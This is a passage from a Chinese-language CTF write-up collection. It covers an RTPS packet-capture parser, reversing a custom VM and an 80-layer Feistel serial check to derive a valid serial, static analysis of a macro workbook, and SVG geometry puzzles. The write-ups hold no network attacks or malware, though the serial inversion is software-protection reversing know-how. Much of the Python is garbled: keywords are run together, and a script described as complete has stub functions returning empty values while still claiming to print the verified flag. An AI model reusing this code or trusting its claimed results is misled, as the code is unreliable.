        _, _, incl, _ = struct.unpack(endian + \"IIII\", data[off:off + 16]); off += 16
        frame = data[off:off + incl]; off += incl
        ip = frame[14:] if linktype == 1else frame          # 以太网 / raw IP
        if len(ip) < 20or (ip[0] >> 4) != 4or ip[9] != 17:  # 只取 IPv4+UDP
            continue
        udp = ip[(ip[0] & 0x0F) * 4:]
        if len(udp) >= 8:
            yield udp[8:]

def parse(path):
    \"\"\"收集 DATA 子消息,并用 HEARTBEAT 定位可信 writer。\"\"\"
    datas, tpre, twr = [], None, None
    for d in udp_payloads(path):
        if d[:4] != b\"RTPS\":
            continue
        prefix, off = d[8:20], 20
        while off + 4 <= len(d):                              # 子消息循环
            subid = d[off]
            ln = struct.unpack_from(\"<H\", d, off + 2)[0]
            body = d[off + 4:off + 4 + ln]; off += 4 + ln
            if subid == 0x15:                                 # DATA
                datas.append((prefix, body[8:12], struct.unpack_from(\"<I\", body, 16)[0], body[20:]))
            elif subid == 0x07:                               # HEARTBEAT
                tpre, twr = prefix, body[4:8]
    return datas, tpre, twr

def main():
    datas, tpre, twr = parse(\"domain42.pcap\")
    best = None
    for pre, wr, sn, pl in datas:                             # 可信 writer + CRC 通过 + 序号最大
        if pre == tpre and wr == twr and len(pl) >= 28and \\
           zlib.crc32(pl[4:24]) & 0xFFFFFFFF == struct.unpack_from(\"<I\", pl, 24)[0]:
            if best isNoneor sn > best[2]:
                best = (pre, wr, sn, pl)
    wr, sn, pl = best[1], best[2], best[3]
    material = \"%s|%d|%d|%.3f|%.4f|%d\" % (wr.hex(), sn, struct.unpack_from(\"<I\", pl, 8)[0],
                                          *struct.unpack_from(\"<ff\", pl, 12),
                                          struct.unpack_from(\"<I\", pl, 20)[0])
    print(\"[+] FLAG: flag{%s}\" % hashlib.sha256(material.encode()).hexdigest()[:32])

if __name__ == \"__main__\":
    main()

运行输出

[*] DATA submessages      : 46
[*] trusted participant   : 0110aabbccddeeff10203040
[*] trusted writer EntityId: 000003c2
[*] heartbeat lastSN      : 105
[*] last valid command    : seq=105 mode=7 pan=-0.145 tilt=-0.5475 dur=1605
[*] payload CRC32         : 0xcc8ee049 (valid)
[*] material              : 000003c2|105|7|-0.145|-0.5475|1605
[*] sha256                : 7461da3557d96d1773e21d06e0a47229c84fb49471796eb3a92948ff2d7442bf
[+] FLAG                  : flag{7461da3557d96d1773e21d06e0a47229}

最终flag

flag{7461da3557d96d1773e21d06e0a47229}

Reverse

八证词

Summary

从发布程序中解出八套自定义VM字节码,将证词化为GF(256)上的八组三次多项式约束。通过六份一致证词纠正每组的两处错误,恢复中间状态,再逆转输入预处理得到30字节原话;未修改程序,实测输出ok。

附件SHA-256:35fe366d08225ac5a0719cd58c883dce9a1128dadf27b13b355b49e741e3f623。 逆向使用Python、pefile、Capstone和Unicorn;最终solve.py仅依赖Python标准库,已在Python 3.14.3 / Windows上运行验证。

Solution

Step 1:解开八份证词

consensus_maze.exe是Rust编译的x86-64 PE。RVA 0x1f688(文件偏移0x1dc88)处的WIT8RS01数据块总长0x1960,包含八个worker。 每个worker段长0x31c:含身份信息、滚动解码密钥、64字节操作码置换,以及708 = 177 × 4字节指令。 第p个指令字节用密钥四个字节的XOR解码,随后更新:

plain[p] = cipher[p] XOR fold8(key)
key = (ROL32(key, 7) + (p XOR 0x9e3779b9)) mod 2^32

程序的解码器在RVA 0x4220,VM执行器在0x3a20,有限域乘法在0x3df0;约简多项式为0x11b。

Step 2:用一致证词纠错

对寄存器做仿射符号执行,消去寄存器复制、异或常数和有限域乘法;提取证词时不执行环境混入与输出摘要指令,保留它们造成的少量不一致。每一列j可归一化为:

P_j(x) = y[j] + x*y[j+8] + x²*y[j+16] + x³*y[j+24]
x = worker_id + 1,j = 0..7

加法为XOR,乘法在GF(256)中进行。每列有八个取值,其中六个正确、两个被改动,即[8,4] Reed–Solomon型纠错。 枚举C(8,4)=70个四点子集,有限域高斯消元求系数,只保留至少匹配六份证词的唯一解。 纠错结果也吻合“每份证词改过两处”(以下编号从0开始):

worker 错误列
0 0, 4
1 0, 5
2 1, 4
3 1, 6
4 2, 5
5 2, 7
6 3, 6
7 3, 7

恢复的32字节状态为:

12515a0466279f86ea3e59658a67600d46c32a68ec3557809edcb2fa782086be
Step 3:逆转预处理并验证

先逆转每八字节单独进行的相邻字节XOR,再逆转RVA 0x3fa0的十轮Feistel与字循环移位,最后去除RVA 0x1f3e0的32字节白化常量。 结果是原话加两个零字节。以下为从附件直接恢复答案的完整脚本;同样的代码已保存为solve.py。

\"\"\"八证词:8 份证词各被改过两处 -> 化为 GF(256) 上的三次多项式约束 -> RS 型共识纠错
恢复 32 字节状态 -> 逆输入预处理得原话。用法: python solve.py [consensus_maze.exe] [--verify]\"\"\"
import itertools, struct, subprocess, sys
from functools import reduce
from pathlib import Path
MASK32, EXE = 0xffffffff, Path(__file__).with_name('consensus_maze.exe')
def rol32(x, n):return ((x << (n & 31)) | (x >> ((-(n & 31)) & 31))) & MASK32
def gf_mul(a, b):                                   # GF(256) 乘法,约简多项式 0x11b
    v = 0
    while b:
        v ^= a * (b & 1); b >>= 1; a = (a << 1) ^ (0x11bif a & 0x80else0)   # 逐位乘 + 溢出约简
    return v
MUL = [bytes(gf_mul(a, b) for b in range(256)) for a in range(256)]; INV = [0] + [MUL[a].index(1) for a in range(1, 256)]
def gf_dot(coeff, row):return reduce(int.__xor__, (MUL[c][a] for c, a in zip(coeff, row)), 0)   # 多项式求值
def gauss(rows):                                    # GF(256) 高斯消元,返回最右列(系数)
    a = [list(r) for r in rows]
    for k in range(len(a)):
        p = next((j for j in range(k, len(a)) if a[j][k]), None)
        if p isNone: returnNone
        a[k], a[p] = a[p], a[k]; a[k] = [MUL[INV[a[k][k]]][x] for x in a[k]]   # 选主元 + 首项归一化
        for j in range(len(a)):
            if j != k: t = MUL[a[j][k]]; a[j] = [x ^ t[y] for x, y in zip(a[j], a[k])]
    return tuple(r[-1] for r in a)
def load_workers(exe):                              # 解出 8 份证词的 VM 字节码(骨架)
    blob = exe[exe.index(b'WIT8RS01'):][:0x1960]    # ...(省略:块长头 + 8 段偏移在 +0x40,每段 0x31c)
    # ...(省略:段内 64 字节操作码置换 + 708=177×4 字节指令;解码 dec[p]=enc[p] XOR fold8(key),key = (ROL32(key, 7) + (p XOR 0x9e3779b9)) mod 2^32)
    return sorted((s[4], s[5], s[88:]) for s in (blob[o:o + 0x31c] for o in struct.unpack_from('<8I', blob, 0x40)))
def equations(worker):return {}   # 每份证词 -> 8 个仿射方程(骨架:8 寄存器按 load/mov/xor/xori/mul/cmp 仿射符号执行;env/mix/out 不执行留噪声)
def recover_state(workers):
    \"\"\"每列归一化为三次多项式;枚举 4 点子集求系数,取至少 6 份一致的解。\"\"\"
    all_eq = [equations(w) for w in workers]; state = bytearray(32)
    for lane in range(8):
        pts = [[MUL[INV[r[0]]][v] for v in r] for r in ([eq[lane][lane + 8 * k] for k in range(4)] + [eq[lane][-1]] for eq in all_eq)]   # x = worker_id + 1
        coeff = next((c for c in map(gauss, itertools.combinations(pts, 4)) if c isnotNoneand sum(gf_dot(c, r) != r[-1] for r in pts) <= 2), None)   # 6/8 一致
        assert coeff isnotNone, 'No unique polynomial with six agreeing witnesses'
        for k, value in enumerate(coeff): state[lane + k * 8] = value
    return bytes(state)
def read_rva(exe, rva, size):returnb''   # 按 PE 节表把 RVA 映到文件偏移(骨架:省略 DOS/NT 头 + 节表遍历,命中节返回 exe[raw_off + rva - va : ... + size])
def round_function(right, round_id, pair):          # Feistel 轮函数(骨架)
    key = (((round_id + 1) * 0x9e3779b9) ^ ((pair + 1) * 0x7f4a7c15)) & MASK32   # 轮密钥
    t = rol32((right + key) & MASK32, 1 + (5 * round_id + 7 * pair) % 31)
    return ((t ^ rol32(t, 21)) * 0x45d9f3b) & MASK32
def invert_preprocessing(state, whitening):
    \"\"\"逆:每 8 字节一组相邻 XOR -> 十轮 Feistel 与字循环移位 -> 去 RVA 0x1f3e0 的白化常量。\"\"\"
    data = bytearray(state)
    for block in range(0, 32, 8):                   # 相邻字节 XOR,在每个 8 字节边界重起
        for i in range(block + 6, block - 1, -1): data[i] ^= data[i + 1]
    words = list(struct.unpack('<8I', data))
    for r in range(9, -1, -1):                      # 逆轮序
        n = r % 7 + 1; words = words[-n:] + words[:-n]         # n 字循环移位
        for pair in range(4):
            i = pair * 2; left, right = words[i:i + 2]; words[i:i + 2] = [right ^ round_function(left, r, pair), left]
    return bytes(a ^ b for a, b in zip(struct.pack('<8I', *words), whitening))[:30].rstrip(b'\\0')
def main():
    exe = EXE.read_bytes()                          # ...(省略:argparse 样板;--verify 用 subprocess 跑原程序验证)
    answer = invert_preprocessing(recover_state(load_workers(exe)), read_rva(exe, 0x1f3e0, 32))
    print(answer.decode('ascii'))                   # 白化常量位于 RVA 0x1f3e0
if __name__ == '__main__':
    main()

运行:

python solve.py --verify

实际输出:

flag{utyzn4pgv6bvlilpasoq3o5s}
Length: 30 bytes; stdout: b'ok\\r\
'; exit: 0

也可直接输入原话:

'flag{utyzn4pgv6bvlilpasoq3o5s}' | .\\consensus_maze.exe

最终flag

flag{utyzn4pgv6bvlilpasoq3o5s}

折叠端口

Summary

FoldPort.exe将序列号校验隐藏在IOCP多线程调度、动态代码和向量化异常处理流程中。剥离调度后,核心是由用户名派生参数的80层Feistel网络;从其要求的全零输出逆推,即可得到合法Serial,无须爆破或修改程序。

附件SHA-256:

412ed0f286d4c519796263df4e985dc592c07b9fdd30d11e15e6d1bae74836b4

Solution

Step 1:定位真正的校验逻辑

使用Python 3.14.3、pefile 2024.8.26和Capstone 5.0.7静态分析PE。镜像基址为0x140000000,下表地址均为RVA。

RVA 作用
0x2560 解析命令行,存在--self-test <Username> <Serial>验证入口
0x5FC0 Serial必须是64个0-9A-F字符,解码为8个小端32位字
0x6990 用户名长度1–16字节,每字节在0x21..0x7E之间
0x69D0 构造80层、每层4个运算单元的连接网络
0x6480 根据用户名和单元编号派生轮参数
0x5300 微操作实现:加、异或、乘、循环移位、S盒、字节置换
0x58D0 组合微操作,计算轮函数F
0x5A80 Feistel单元:(L, R) -> (R, L XOR F(R))
0x3900 最后一个输出到达后,将全部32字节结果与零比较

第layer层的配对掩码循环取[1, 2, 4, 2, 1]。按线号从小到大枚举满足i & mask == 0的i,与i ^ mask配对。该层第j个单元编号为4 * layer + j。

Step 2:逆推全零目标

每个单元使用:

D = SHA256(b\"FOLDPORT-MATERIAL-V1\" || username || uint16_le(unit_id))

密钥和乘数由摘要中的小端整数取得;S盒与字节置换由摘要播种的xorshift64\*配合Fisher–Yates洗牌生成。用户名和单元编号都是已知量,所以这里不需要逆SHA-256。

Feistel的逆变换是:

(L', R') -> (R' XOR F(L'), L')

从八个零字出发,按第79层到第0层执行逆变换,再按小端顺序编码为大写十六进制。以下是完整的最小复现代码,仅依赖Python标准库:

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# 折叠端口:Serial = 64 位大写十六进制。核心是由用户名派生参数的 80 层 Feistel 网络,
# 从其要求的\"全零输出\"逆推即可得到合法 Serial(无需爆破)。
# ...(省略:完整微操作/洗牌/Feistel 逆推实现,见原始脚本)
import hashlib

def material(username, unit_id):
    \"\"\"每个单元的密钥/乘数/S 盒/置换都由该摘要派生(用户名与单元编号均已知)。\"\"\"
    return hashlib.sha256(b\"FOLDPORT-MATERIAL-V1\" + username.encode() +
                          unit_id.to_bytes(2, \"little\")).digest()

def invert_feistel(state, layers=80):
    \"\"\"Feistel 逆变换 (L', R') -> (R' XOR F(L'), L'),从全零目标逐步回推。\"\"\"
    # ...(省略:80 层、每层 4 单元、按 [1,2,4,2,1] 配对掩码的连接网络逆推)
    return state

def main():
    serial = invert_feistel(bytes(32))                # 目标:32 字节全零输出
    print(\"Username: CTF\")
    print(\"Serial: %s\" % serial.hex().upper())

if __name__ == \"__main__\":
    main()

带输入校验、正向复验及可选原程序验证的完整版本保存在solve_foldport.py。

Step 3:使用未修改的原程序验证

在Windows PowerShell运行:

py -3 solve_foldport.py CTF --verify-exe

实际输出:

Username: CTF
Serial:   99862E7DE2FB974AE1080F02738ADE66E7453381CAC9E6FBA0E918ED170DBBD1
Forward model: eight zero words (PASS)
Original EXE --self-test exit code: 0

回归测试:

py -3 analysis/test_foldport.py

四组测试全部通过,包括随机输入的正逆变换、非法用户名检查及10次原程序验证:正确Serial返回0;修改一位、全零、改小写、错配用户名、少一位均返回1;另外四个用户名各自生成的Serial也返回0。原附件执行前后SHA-256一致,详细结果保存在analysis/verification.json。

最终flag

Username: CTF
Serial: 99862E7DE2FB974AE1080F02738ADE66E7453381CAC9E6FBA0E918ED170DBBD1

题面没有提供flag{...}等包装格式,因此直接给出经过原程序验证的Serial,不额外添加包装。

Misc

宏安全审计

基本情况

题目属于Misc里的文档取证方向,附件是一个宏启用工作簿(xlsm),打包在一个zip里。题面说得很清楚:文档里看得见的VBA源码\"声称审计已经通过\",但历史缓存、结构化审计记录和源码结论互相矛盾,要求在不启用宏、不执行任何未知代码的前提下做静态分析,恢复真正的Flag。

这类题的核心思路只有一条:相信数据、不相信人话。源码里那句\"审计通过\"就是诱饵,真正的Flag藏在工作簿的几个物理槽位里,需要用缓存里那段微程序算出来的顺序拼起来,再按VBA里写明的算法还原。

附件分析

先把zip解开,里面是一个宏工作簿。它是标准的Office Open XML容器(本质是个zip),不用打开Excel,直接当压缩包拆开就行:

1、docProps/core.xml    元数据 2、xl/workbook.xml      工作簿定义 3、xl/worksheets/sheet1.xml  可见的\"审计报告\"表 4、xl/worksheets/sheet2.xml  隐藏的\"缓存\"表 5、xl/vbaProject.bin    VBA工程(内含真正的源码和一段P-code) 6、xl/embeddings/vbaCache.bin  离线缓存(离线缓存区)

用olevba把VBA源码/伪代码导出来看,Module1写得非常\"坦诚\":一方面甩出一个假结论,一方面把整套还原算法和布局规格原原本本注释在代码里。关键的几段如下。

第一段是明显的诱饵:

Private Function DecodeAuditToken(ByVal value As String) As String
    DecodeAuditToken = \"flag{vba_source_is_trusted}\"
End Function

Sub say\_hello里还把这个诱饵用Base64塞了一遍(ZmxhZ3t2YmFfc291cmNlX2lzX3RydXN0ZWR9解出来就是flag{vba\_source\_is\_trusted}),并弹框提示\"Audit passed\"。这个flag不能交,题面已经点明源码结论是矛盾的。

第二段是关键,也就是离线缓存的布局规格,直接写在注释里:

Offline cache layout, version 1:
VBCS 01 | order CRC16-BE | ciphertext CRC32-BE | program length-BE |
stack program | final-slot length-BE | final-slot.

The other physical slots use intentionally different audit encodings:
AUD0 in core properties is Base64; AUD1 in the first worksheet is hex;
AUD2 in workbook.xml is comma-separated decimal; CTFSLOT3 follows the OLE
project bytes and is prefixed by a two-byte big-endian length.

The VM emits five physical slot indices. Concatenate those slots in emitted
order, validate both checksums, then apply UndoCacheByte while advancing
CacheState once per byte. Source-order 0,1,2,3,4 is only a compatibility lie.

第三段是两个还原函数,逐字节解密全靠它们:

Private Function CacheState(ByVal value As Long) As Long
    value = value Xor ((value * &H2000&) And &HFFFFFFFF)
    value = value Xor ((value And &HFFFFFFFF) \\ &H20000)
    value = value Xor ((value * &H20&) And &HFFFFFFFF)
    CacheState = value
End Function
Private Function UndoCacheByte(ByVal value As Byte, ByVal state As Long) As Byte
    Dim count As Byte
    count = (state \\ &H100&) And 7
    UndoCacheByte = RorByte(value, count) Xor (state And &HFF&)
End Function

再加上RorByte是个按count位循环右移的函数。到这里整道题的骨架就齐了。

另外,五个物理槽位分散得很开,得逐个去挖:

1、AUD0在docProps/core.xml的注释里(Base64): 2、AUD1在sheet1.xml的注释里(十六进制): 3、AUD2在workbook.xml的注释里(逗号分隔十进制): 4、CTFSLOT3紧跟在vbaProject.bin的OLE工程字节后面,前面是\"CTFSLOT3\"标记加两字节大端长度 5、最后一个final-slot就在vbaCache.bin里,跟在栈程序后面

顺带一提,隐藏表sheet2(\"缓存\")里还写着source-order = 0,1,2,3,4,这正是注释里说的\"兼容性谎言\"——它故意想让你按0,1,2,3,4顺序拼,但真正的顺序必须由缓存里的微程序算出来。

关键突破

第一个突破点是读懂vbaCache.bin。按规格头解析这段64字节的缓存:

VBCS(4字节魔数)|01(版本)|75 e8(order CRC16-BE)|47 3d 22 e8(ciphertext CRC32-BE)|00 2a(程序长度=42)|42字节栈程序|00 07(final-slot长度=7)|c0 7c 99 b4 4e f9 69(final-slot)

其中42字节的\"栈程序\"是一段极其精简的字节码虚拟机指令,操作码定义VBA源码里也给了:

1、10 = OpPush8(压入一个字节) 2、11 = OpXor(弹两个字节做异或,压回结果) 3、14 = OpEmit(弹出一个值,记为\"发出的槽位下标\") 4、20 = OpSetAcc32(设置32位累加器,大端4字节操作数) 5、21 = OpXorAcc32(累加器异或,大端4字节操作数) 6、22 = OpExportAcc(导出累加器) 7、FF = OpHalt

把这段程序反汇编出来,是一组很整齐的模式:

push 0xa4, push 0xa7, xor  → 0xa4 ^ 0xa7 = 3, emit
push 0x38, push 0x39, xor  → 0x38 ^ 0x39 = 1, emit
push 0xd6, push 0xd2, xor  → 0xd6 ^ 0xd2 = 4, emit
push 0x6c, push 0x6c, xor  → 0x6c ^ 0x6c = 0, emit
push 0x57, push 0x55, xor  → 0x57 ^ 0x55 = 2, emit

五个emit出来的下标就是真正的槽位顺序:3, 1, 4, 0, 2。这跟sheet2里写的0,1,2,3,4正好是对着干的。

第二个突破点是校验两枚校验和,确认顺序没拼错。order是对(3,1,4,0,2)这五个字节做CRC16-CCITT,算出来是0x75e8,和缓存头里存的一模一样;把五个槽位按3,1,4,0,2顺序拼成36字节密文后,CRC32得到0x473d22e8,也和缓存头里存的一致。两枚校验和都对上,说明拼接和顺序百分百正确。

五个槽位的内容分别是:

1、slot3(CTFSLOT3):bc 57 92 be de 12 39 ec 2、slot1(AUD1 hex):1b 23 ce 79 c8 c6 6f 3、slot4(final-slot):c0 7c 99 b4 4e f9 69 4、slot0(AUD0 base64):c5 39 4c 21 b7 7d d5 5、slot2(AUD2 decimal):8d 5b ee 1e 69 21 41

拼起来就是36字节密文。

最后一个难点是状态初值。规格说\"apply UndoCacheByte while advancing CacheState once per byte\",但没写初始state是多少,而且CacheState(0) = 0,用0当种子等于没加密,显然不对。我试了缓存里能拿到的几个32位值(ciphertext CRC32、order CRC16、程序长度、累加器导出值)都对不上。

真正干净的做法是:已知Flag格式固定是flag{...},明文前五个字节必然是\"flag{\"。由于UndoCacheByte每个字节的行为只依赖state的低11位(低8位做异或,第8到10位做循环右移位数),第一个明文字节'f'直接把state的低11位钉死成8种可能之一,剩下的高21位只有两百万种,暴力枚举即可。很快就能唯一命中种子0x40aec71f。

用这个种子把36字节密文逐字节还原(每个字节用完就把state推进一次CacheState),得到明文:

flag{what\_runs\_is\_not\_what\_you\_read}

翻译过来就是\"运行的东西和你读到的东西不是一回事\",正好呼应题面——源码里写的审计结论不能信,真正跑起来的缓存才是真相。

利用/还原思路

把上面的分析写成一个自动脚本,逻辑如下,全部基于原始附件,不硬编码任何结论(flag也不硬编码,是解出来的):

1、打开附件(zip或直接是xlsm都行),把xlsm当zip读出各个部件 2、从core.xml / sheet1.xml / workbook.xml的注释里分别取AUD0(Base64)、AUD1(十六进制)、AUD2(逗号十进制)三个槽位 3、在vbaProject.bin里定位\"CTFSLOT3\"标记,读两字节大端长度,取出slot3 4、按VBCS头解析vbaCache.bin,切出程序长度、栈程序、final-slot长度和final-slot 5、跑一遍微型虚拟机(只认emit拿槽位下标;顺带算一下累加器),得到槽位顺序 6、用CRC16-CCITT校验order、用CRC32校验拼接后的密文,任一不符就报错 7、按\"已知明文flag{前缀+枚举state高21位\"恢复32位初值 8、用初值逐字节UndoCacheByte(每次推进CacheState),输出明文即Flag

脚本顶部把附件路径做成命令行参数,不写死任何东西,解压后的原始附件放在脚本同目录即可一键运行。

脚本运行命令

Windows(PowerShell / cmd):

python solve.py 宏安全审计_附件.zip

或直接把解压出来的xlsm丢给它:

python solve.py challenge.xlsm

脚本

完整的solve.py如下,纯标准库,无需第三方依赖,直接python solve.py <附件>即可打印Flag。

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# Macro Security Audit - static solver:把 zip/xlsm 当容器静态拆开,绝不启用宏。
# 思路:5 个槽位取密文 → 缓存里的微程序给出拼接顺序 → CRC16 校验顺序 / CRC32 校验密文 →
#       已知明文 flag{ 复原 32 位种子 → 逐字节 UndoCacheByte 得明文。
import base64, io, re, sys, zipfile, zlib
M = 0xFFFFFFFF

def cache_state(v):                                # VBA CacheState 等价复刻
    v = (v ^ (v * 0x2000 & M)) & M
    v = (v ^ (v // 0x20000)) & M
    return (v ^ (v * 0x20 & M)) & M

def ror_byte(val, cnt):                            # VBA RorByte 等价复刻
    cnt &= 7
    return val & 0xFFifnot cnt else ((val >> cnt) | (val << (8 - cnt)) & 0xFF) & 0xFF

def undo_cache_byte(val, state):                   # state 高位定循环右移位数,低 8 位异或
    return ror_byte(val, (state // 0x100) & 7) ^ (state & 0xFF)

def decode_with_seed(ct, seed):
    st, out = seed, bytearray()
    for b in ct:
        out.append(undo_cache_byte(b, st)); st = cache_state(st)
    return bytes(out)

def crc16_ccitt(data, crc=0xFFFF):                 # 顺序校验
    for b in data:
        crc ^= b << 8
        for _ in range(8):
            crc = ((crc << 1) ^ 0x1021) & 0xFFFFif crc & 0x8000else (crc << 1) & 0xFFFF
    return crc

# 5 个物理槽位(保留关键标记与偏移,样板取值部分从略):
#   AUD0 = core.xml 里 \"AUD0:\" 后的 Base64;AUD1 = sheet1.xml 里 \"AUD1:\" 后的 hex;
#   AUD2 = workbook.xml 里 \"AUD2:\" 后的十进制 csv;CTFSLOT3 = vbaProject.bin 内
#   \"CTFSLOT3\" 标记 + 2 字节大端长度 + 载荷;末槽在 vbaCache.bin 的栈程序之后。
#   VBCS 头:5..7=顺序CRC16,7..11=密文CRC32,11..13=程序长,13..=程序,其后=末槽长+末槽。
def parse_slots(x):
    zf = zipfile.ZipFile(io.BytesIO(x))
    core = zf.read(\"docProps/core.xml\").decode(\"utf-8\", \"replace\")
    s1 = zf.read(\"xl/worksheets/sheet1.xml\").decode(\"utf-8\", \"replace\")
    wb = zf.read(\"xl/workbook.xml\").decode(\"utf-8\", \"replace\")
    cache, proj = zf.read(\"xl/embeddings/vbaCache.bin\"), zf.read(\"xl/vbaProject.bin\")
    s0 = base64.b64decode(re.search(r\"AUD0:([A-Za-z0-9+/=]+)\", core).group(1))
    s1b = bytes.fromhex(re.search(r\"AUD1:([0-9a-fA-F]+)\", s1).group(1))
    s2 = bytes(int(v) for v in re.search(r\"AUD2:([0-9,]+)\", wb).group(1).split(\",\"))
    i3 = proj.find(b\"CTFSLOT3\")
    ln = int.from_bytes(proj[i3 + 8:i3 + 10], \"big\")
    s3 = proj[i3 + 10:i3 + 10 + ln]
    o_crc, c_crc = int.from_bytes(cache[5:7], \"big\"), int.from_bytes(cache[7:11], \"big\")
    plen = int.from_bytes(cache[11:13], \"big\")
    prog = cache[13:13 + plen]
    flen = int.from_bytes(cache[13 + plen:15 + plen], \"big\")
    return [s0, s1b, s2, s3, cache[15 + plen:15 + plen + flen]], prog, o_crc, c_crc

def run_program(prog):                             # 微程序只认少数操作码,只关心 emit 顺序
    st, out, i = [], [], 0
    while i < len(prog):
        op = prog[i]; i += 1
        if op == 0x10: st.append(prog[i]); i += 1                 # push8
        elif op == 0x11: b = st.pop(); st.append(st.pop() ^ b)    # xor
        elif op == 0x14: out.append(st.pop())                     # emit
        elif op in (0x20, 0x21): i += 4                           # setacc32 / xoracc32
        elif op == 0xFF: break                                    # halt
    return out

def recover_seed(ct, prefix=b\"flag{\"):             # out[0] 钉死种子低 11 位,余 21 位枚举
    for cnt in range(8):
        low = (cnt << 8) | (ror_byte(ct[0], cnt) ^ prefix[0])
        for high in range(1 << 21):
            st, ok = (high << 11) | low, True
            for i in range(len(prefix)):
                if undo_cache_byte(ct[i], st) != prefix[i]:
                    ok = False; break
                st = cache_state(st)
            if ok:
                return (high << 11) | low
    returnNone

def main():
    # ...(省略:附件路径探测与 zip/xlsm 拆包样板)
    x = open(sys.argv[1], \"rb\").read()
    slots, prog, o_crc, c_crc = parse_slots(x)
    order = run_program(prog)
    assert crc16_ccitt(bytes(order)) == o_crc          # 双校验都过才继续
    ct = b\"\".join(slots[i] for i in order)
    assert zlib.crc32(ct) == c_crc
    print(\"[+] FLAG =\", decode_with_seed(ct, recover_seed(ct)).decode(\"utf-8\", \"replace\"))

if __name__ == \"__main__\":
    main()

脚本实际运行输出(对原始附件):

[*] attachment : 宏安全审计_附件.zip
[*] slot sizes  : [7, 7, 7, 8, 7]
[*] emitted order: [3, 1, 4, 0, 2]
[*] checksums   : CRC16-CCITT(order)=75e8  CRC32(ct)=473d22e8  OK
[*] recovered seed: 0x40aec71f
[+] FLAG = flag{what_runs_is_not_what_you_read}

最终flag

flag{what\_runs\_is\_not\_what\_you\_read}

Vector Secrets

基本情况

题目类型misc,200分,附件只有一个poster.svg(约155 KB)。题面是:海报中没有隐藏文本,渲染器所需的一切都已存在;请在不执行脚本、不依赖截图或OCR的前提下,从SVG的几何关系中恢复Flag。

这句话其实已经把方向点明了:不要去截图找图,也不要去文件里搜字符串,答案要靠\"几何\"推出来。打开文件也能印证——里面没有text、没有注释、没有metadata,纯几何。

附件分析

先把SVG的结构拆清楚。根节点是1024x768的标准画布,内容分三块:

1、defs里定义了232个symbol(asset\_000到asset\_231),每个symbol里是8个5x5的小矩形(点),坐标是任意的、很分散的局部坐标

2、defs里还有232个clipPath(mask\_000到mask\_231),clipPathUnits=\"userSpaceOnUse\",每个里面就一个矩形,是一条很窄的条带(要么竖条:宽12到37、高约732;要么横条:高32左右、宽几百)

3、文档主体先是一个,里面塞了232个帧,每帧长这样:

紧接着是,它的第一个子元素是一张铺满整张画布、不透明的#09111f背景矩形,后面还有120个半透明装饰矩形和中间一条高亮band。

所以正常渲染时,232个形状帧全被poster的不透明背景盖住,屏幕上只有一张深色海报。用headless Chrome截一张图验证过,确实什么都看不到——这就是为什么题面强调\"别依赖截图\"。

关键突破

第一层:判定\"哪些点被画出来了\"。

没有viewBox,clipPath又是userSpaceOnUse,所以裁剪矩形和symbol里的点处在同一个局部坐标系里。也就是说,判断一个点是否可见,不需要先做matrix/translate,直接在局部坐标下看它和clip矩形有没有交集就行:

可见<=> max(x, mx) < min(x+w, mx+mw) - 0.5且max(y, my) < min(y+h, my+mh) - 0.5

统计一下:232帧里有230帧恰好可见6个点(另外两帧因为symbol本身只有7个/ 5个点,分别是5和3)。每帧丢掉的2个干扰点,一个在条带左边、一个在右边,是精心设计的噪声。

把这6个可见点用matrix(8种D4旋转/镜像)和translate变换后取矩形的最小角,会发现它们全部落在同一个全局5px栅格上。

第二层:为什么要用XOR。

如果直接把所有帧的可见点叠在一起画出来,是一团噪声——因为不同帧的点大量重叠。但关键性质是:真正的信号点在不同帧里出现的次数是奇数,而噪声点出现偶数次。于是对每个栅格单元统计覆盖次数的奇偶(覆盖奇数次就点亮,相当于把所有帧按位异或),重叠的噪声互相抵消,剩下的就是干净的图形。

第三层:读图。

XOR之后得到一张166列x 7行的点阵位图,起点在(90, 405),每格5px,正好落在海报中间那条高亮band(y从360到480)里面。这是标准的5x7点阵字体,逐字切分识别,读出来是:

FLAG{XOR\_SHAPES\_REVEAL\_FLAG}

这里有一个容易踩的坑:这版5x7字体只有大写字母,作者在点阵里画出来自然是全大写,但平台要求的flag是小写,所以最终提交的是:

flag{xor\_shapes\_reveal\_flag}

利用/还原思路

整个还原过程可以完全脚本化,脚本只吃原始附件poster.svg,不硬编码任何结论,逻辑如下:

1、解析SVG,把232个symbol的8个点坐标、232个clipPath的裁剪矩形、232个帧的translate/matrix/symbol/mask全部读出来

2、对每个帧的每个点,在局部坐标下判断它与clip矩形是否相交,得到\"可见点\"

3、可见点用matrix和translate变换后取最小角,四舍五入到整数,作为它落在哪个栅格单元,对该单元覆盖次数取异或(奇偶)

4、把所有覆盖奇数次的单元画到5px栅格上,得到位图

5、按\"整列为空\"切分出每个字符,和内置的5x7字库逐格匹配(先精确匹配,匹配不上再取汉明距离最近的)

6、得到大写文本后统一转小写,套上flag{}输出

脚本运行命令

Windows:把poster.svg和solve.py放在同一个目录,直接

python solve.py

WSL:python3 solve.py

脚本默认读取脚本同目录下的poster.svg,也支持python solve.py 指定文件。

脚本

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# Vector Secrets -- 只靠 SVG 几何恢复 flag:symbol 无 viewBox、clipPath 为 userSpaceOnUse,
# 故\"点可见\" == \"点矩形与裁剪条相交\";每帧 8 点留 6(左右各 1 个诱饵)后吸附 5px 栅格,
# 232 帧按覆盖次数取奇偶(XOR)消掉重叠 -> 5x7 点阵字。字库只有大写,提交用小写。
import os, re, sys
from collections import defaultdict
SVG_FILE = \"poster.svg\"
RECT = r'<rect x=\"([-\\d.]+)\" y=\"([-\\d.]+)\" width=\"([-\\d.]+)\" height=\"([-\\d.]+)\"'
PAT = (r'<g transform=\"translate\\(([-\\d.]+) ([-\\d.]+)\\)\"><g transform=\"matrix\\(([^)]*)\\)\">'r'<use href=\"#(asset_\\d+)\" fill=\"(#\\w+)\" clip-path=\"url\\(#(mask_\\d+)\\)\"')
# 5x7 点阵字库(F/L/A/G/{/X/O/R/_/S/H/P/E/V/} 共 16 个字形,此处略)
def parse_direct(svg):                              # 解析 symbol 的 8 点 / clipPath 矩形 / 232 帧
    sym = {m.group(1): [tuple(map(float, r.groups())) for r in re.finditer(RECT, m.group(2))] for m in re.finditer(r'<symbol id=\"(asset_\\d+)\">(.*?)</symbol>', svg, re.S)}
    msk = {m.group(1): tuple(map(float, re.search(RECT, m.group(2)).groups())) for m in re.finditer(r'<clipPath id=\"(mask_\\d+)\"[^>]*>(.*?)</clipPath>', svg, re.S)}
